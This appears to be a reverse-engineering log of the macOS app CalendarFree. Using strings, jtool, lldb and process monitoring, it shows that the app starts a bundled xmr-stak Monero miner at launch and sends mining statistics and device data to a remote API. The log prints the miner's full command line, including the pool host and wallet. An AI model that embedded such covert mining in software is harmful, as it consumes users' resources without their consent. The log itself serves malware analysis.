$ strings -a ~/Downloads/CalendarFree.app/Contents/MacOS/CalendarFree ... MinerManager updateMiner _parseMinerSetting com.qbix.MineroMode Miner: Start. core %d; cpuLimit %d; port %d; slowMemory %@; currency: %@; token: %@ Miner: Stopped Miner: Check: hashrate %d; status: %d
$ ./jtool -d objc -v CalendarFree.app/Contents/MacOS/CalendarFre
@interface MinerManager : ? // 13 properties: @property (nonatomic) long long currentPortIndex; @property (copy) NSString slowMemoryMode; @property (nonatomic) long long cpuLimit; @property (nonatomic) long long coreLimit; @property (copy) NSString token; @property (copy) NSString algorythm; ... // 32 instance methods /* 0 - 0x100092e50 */ - runMiningPingReport; /* 1 - 0x100092f10 */ - checkModeSelected; /* 2 - 0x100077db0 */ - init; /* 3 - 0x100077e10 */ - updateToReflectUserMode; /* 4 - 0x100077e30 */ - updateMiner; /* 5 - 0x100077fc0 */ - runMining; /* 6 - 0x1000780d0 */ - stopMining; /* 7 - 0x100078130 */ - checkMiningStatus; /* 8 - 0x100078200 */ - startMiningCheckLoop; /* 9 - 0x100078260 */ - stopMiningCheckLoop; ... @end
void -[CalendarController applicationDidFinishLaunching:]
{
...
dispatch_after(dispatch_time(0x0, 0x3b9aca00), *__dispatch_main_q, ^ {
/* block implemented _52-[CalendarController applicationDidFinishLaunching:]_block_invoke */
});
}
void _52-[CalendarController applicationDidFinishLaunching:]_block_invoke(void * _block) {
...
[[MinerManager manager] runMiningPingReport];
[[MinerManager manager] updateMiner];
return;
}
$ lldb /Applications/CalendarFree.app/
Current executable set to '/Applications/CalendarFree.app/' (x86_64).
(lldb) b -[MinerManager runMining]
Breakpoint 1: where = CalendarFree`-[MinerManager runMining]
...
Process 2944 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1
CalendarFree`-[MinerManager runMining]:
(lldb) bt
* frame #0: 0x0000000100077fc0 CalendarFree`-[MinerManager runMining]
frame #1: 0x0000000100077dff CalendarFree`-[MinerManager init] + 79
...
frame #5: 0x0000000100077d22 CalendarFree`+[MinerManager manager] + 98
void -[MinerManager runMining] {
rdx = self->_coreLimit;
r14 = [self calculateWorkingCores:rdx];
[_TtC17Coinstash_XMRSTAK9Coinstash setCPULimit:self->_cpuLimit];
r15 = [self getPort];
r12 = [self algorythm];
[self getSlotMemoryMode];
[_TtC17Coinstash_XMRSTAK9Coinstash startMiningWithPort:r15 password:self->_token
coreCount:r14 slowMemory:self->_slowMemoryMode currency:r12];
NSLog(@"Miner: Start. core %d; cpuLimit %d; port %d; slowMemory %@; currency: %@;
token: %@", r14, self->_cpuLimit, r15, self->_slowMemoryMode, r12, self->_token);
[self startMiningCheckLoop];
return;
}
$ lldb /Applications/CalendarFree.app/ ... Process 1811 stopped stop reason = breakpoint 1.1 +[Coinstash_XMRSTAK.Coinstash startMiningWithPort:password:coreCount:slowMemory:currency:] (lldb) po $rdi Coinstash_XMRSTAK.Coinstash (lldb) x/s $rsi 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:" (lldb) po $rdx 7777 (lldb) po $rcx qbix:greg@qbix.com
# ./procInfo
[NEW EVENT: PROCESS START ('xmr-stak')]
pid: 1899
path: /Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.framework/
Versions/A/Resources/xmr-stak
args: (
"/Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.framework
/Resources/xmr-stak",
"--currency",
monero,
"-o",
"pool.graft.hashvault.pro:7777",
"-u",
G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKji9NSDLtJ6Evhhj43DYP7dMrYczz5KYj...,
"-p",
"qbix:greg@qbix.com",
"--config",
"/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/
com.beachio.coinstash/config.txt",
"--cpu",
"/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/
com.beachio.coinstash/cpu.txt",
"--amd",
"/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/
com.beachio.coinstash/amd.txt",
...
)
$ lldb /Applications/CalendarFree.app/
Current executable set to '/Applications/CalendarFree.app/' (x86_64).
(lldb) b -[GTMHTTPFetcher initWithRequest:]
Breakpoint 1: where = CalendarFree`-[GTMHTTPFetcher initWithRequest:]
Process 2825 stopped
* thread #17, queue = 'com.apple.root.default-qos', stop reason = breakpoint 1.1
CalendarFree`-[GTMHTTPFetcher initWithRequest:]:
(lldb) po $rdx
<NSMutableURLRequest: 0x1018f04e0> { URL: https://calendar.qbix.com/api/mining }
(lldb) po [0x1018f04e0 HTTPBody]
{
"m_mode": true,
"a_l": false,
"u_mode": 3,
"language": "en-US",
"u_p": 0,
"mining": {
"statistic": {
"ZeroCounter": 0,
"AverageHashRate": 0.92911845445632935,
"CounterTime": 30,
"NonZeroCounter": 14,
"MaxHashRate": 21,
"MinHashRate": 10
},
"params": {
"Token": "qbix:greg@qbix.com",
"Algorithm": "graft",
"CPULimit": 25,
"EnableMiningMode": true,
"CPUBatteryLimit": 10,
"CoreLimit": 25,
"Ports": {
"7777": 1000000,
"5555": 160,
"3333": 40
}
}
},
"sv": "10.13.3",
"m_a_mode": false,
"la": false,
"t": "000c2909108f",
"tz_offset": -25200,
"u": 0,
"bv": "2.6.1",
"id": "2018-03-12 01:02:20 +0000",
"battery": {
"BatteryPlugIn": 111,
"TimeInterval": 60,
"BatteryCounters": 111
},
"l": "-1037.3,-122.0",
"tz_name": "PDT",
"u_s": 1,
"client_time": 1520827483,
...
}